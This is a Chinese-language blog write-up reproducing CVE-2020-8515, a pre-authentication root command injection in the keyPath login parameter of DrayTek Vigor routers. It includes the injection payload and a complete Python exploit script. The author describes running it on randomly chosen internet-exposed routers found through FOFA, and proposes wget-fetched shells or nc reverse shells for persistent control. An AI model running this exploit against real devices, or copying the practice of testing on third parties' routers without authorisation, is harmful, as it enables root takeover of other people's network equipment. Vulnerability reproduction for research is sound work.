CVE-2020-8515 draytek企業級路由器命令執行漏洞復現
0x01 寫在前面
這陣子在進行路由器漏洞研究,漏洞的復現過程是乾澀,枯燥的,並且很容易碰壁,但是隨着漸漸的復現漏洞的數量變多,對漏洞的瞭解,理解也越來越深入,對路由器現階段存在的已知漏洞有所收集,路由器的許多危害大的漏洞一般出現在web的cgi中,存在於登錄界面的一些字段沒有被好好處理而導致的命令執行漏洞,以及一些登錄錯誤卻返回重置密碼的token低級錯誤而衍生的高危漏洞。今天介紹的漏洞是今年3月份報出來的dratek的遠程命令執行漏洞。
0x02 漏洞簡述
臺灣DrayTek製造的企業級網絡設備爆出了RCE,漏洞編號爲CVE-2020-8515。
DrayTek Vigor300B cgi-bin/mainfunction.cgi URI未能正確處理SHELL字符,遠程攻擊者可以利用該漏洞提交特殊的請求,可以ROOT權限執行任意命令。
受影響的設備: Vigor2960 < v1.5.1、Vigor300B < v1.5.1、Vigor3900 < v1.5.1
截止現在爲止,在FOFA,鍾馗之眼、shodan中搜索title=“Vigor2960”,經POC仍然測試,發現很多已經修復了漏洞,但是還是有一部分仍然存在這個漏洞。僅在fofa中搜索Vigor2960就有26653個。
0x03 漏洞復現
首先根據漏洞簡述和github中公開的POC,可以看出漏洞存在於cgi-bin/mainfunction.cgi中。並且是由於在登錄的時候該漏洞是由於執行過程中可執行文件 /www/cgi-bin/mainfunction.cgi 沒有成功過濾keyPath參數,導致可利用的命令注入。攻擊者可以在payload中加入一些%27%0A 這樣的特殊字符來繞過檢車和實現預認證命令注入。
首先FOFA 搜索設備,從裏面找隨意找一個IP進行測試,有可能測試的路由器已經修復了,經過我的測試,大部分已經修復了。
首先訪問路由器,看看是不是蜜罐。
然後隨便輸入用戶名和密碼,點擊登錄,使用burpsuit代理截包,查看請求的payload。
你會發現payload中會有action,keyPath,loginUser,loginPwd參數,其中keyPath參數,是可以進行命令注入的點。
payload:action=login&keyPath=EBB4CD7BD27E14E826E4B129B0FE34&loginUser=Q5JwEpMddILNVVubQbxzrAvzu/VWEbM7kQ0w
+1iEJie5IpMeEG3QsDKtsiFyGpyIkvIhuY9q9h0HPZ/fDbtm7A==&loginPwd=NSH5m7Qzlq8tanR9W5xJSCEQj4cS1GJsbNF+ifcQJSGSS
oZTF5g2RCtjvvr+vMixSSMqjlfsuzFA3MTFKrqsrg==&formcaptcha=bnVsbA==&rtick=null
有的路由器此漏洞已經修復了,當我進行登錄的時候,提交的參數中已經沒有keypath參數了,並且loginUser和loginPwd也更改了參數。並且還加密了。下圖就是已經修復了路由器登錄的payload。
通過把自己構造的keypath,在keypath 中放入注入的命令,使用POST發送到路由器中。
github中有這個漏洞的exp,但是我在運行的時候報錯了,它的exp是使用創宇的pocsuite庫寫的,報的錯誤是"pocsuite.lib.core.exception.PocsuiteDataException: unable to access item ‘registeredPocs’"。知道的老鐵幫忙解決一下。最後無奈只能自己寫了一些EXP。
運行EXP
執行cat /etc/passwd
。 如下圖所示,後面測試了一下wget命令,測試成功,那麼可以自己搞個shell,然後執行wget命令,從而穩定的控制路由器。或者向路由器上傳一個完整版的busybox,通過nc進行反彈shell。具體的可以自己去嘗試。
0x04 EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import socket
import time
import logging
import random
import string
import sys
import time
import urlparse
from pocsuite.api.utils import randomStr
def run_cmd(url,cmd):
try:
headers = {
"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"
}
url = url + "/cgi-bin/mainfunction.cgi"
print(url)
data = "action=login&keyPath=%27%0A%2fbin%2f" + cmd + "%0A%27&loginUser=a&loginPwd=a"
print(data)
res = requests.post(url=url, data=data, timeout=(10, 15), headers=headers)
print(res.text)
if res.status_code == 200:
print(res.text)
#return res.text
else:
print("404")
except Exception as e:
print(e)
def verify(url):
host = urlparse.urlparse(url).hostname
port = urlparse.urlparse(url).port
scheme = urlparse.urlparse(url).scheme
if port is None:
port = "80"
else:
port = str(port)
if "https" == scheme:
url = "%s://%s" % (scheme, host)
else:
url = "%s://%s:%s" % (scheme, host, port)
print('url::::'+url)
flag = randomStr(10)
check = run_cmd(url,"ls")
print(flag,check)
def main():
# 受害者URL
url = ""
# 需要執行的命令
cmd = ""
verify(url)
if __name__=='__main__':
main()
0x05 參考
-
https://github.com/imjdl/CVE-2020-8515-PoC
-
https://www.hayasec.me/2020/03/31/cve-2020-8515/
-
https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html
紙上得來終覺淺,絕知此事要躬行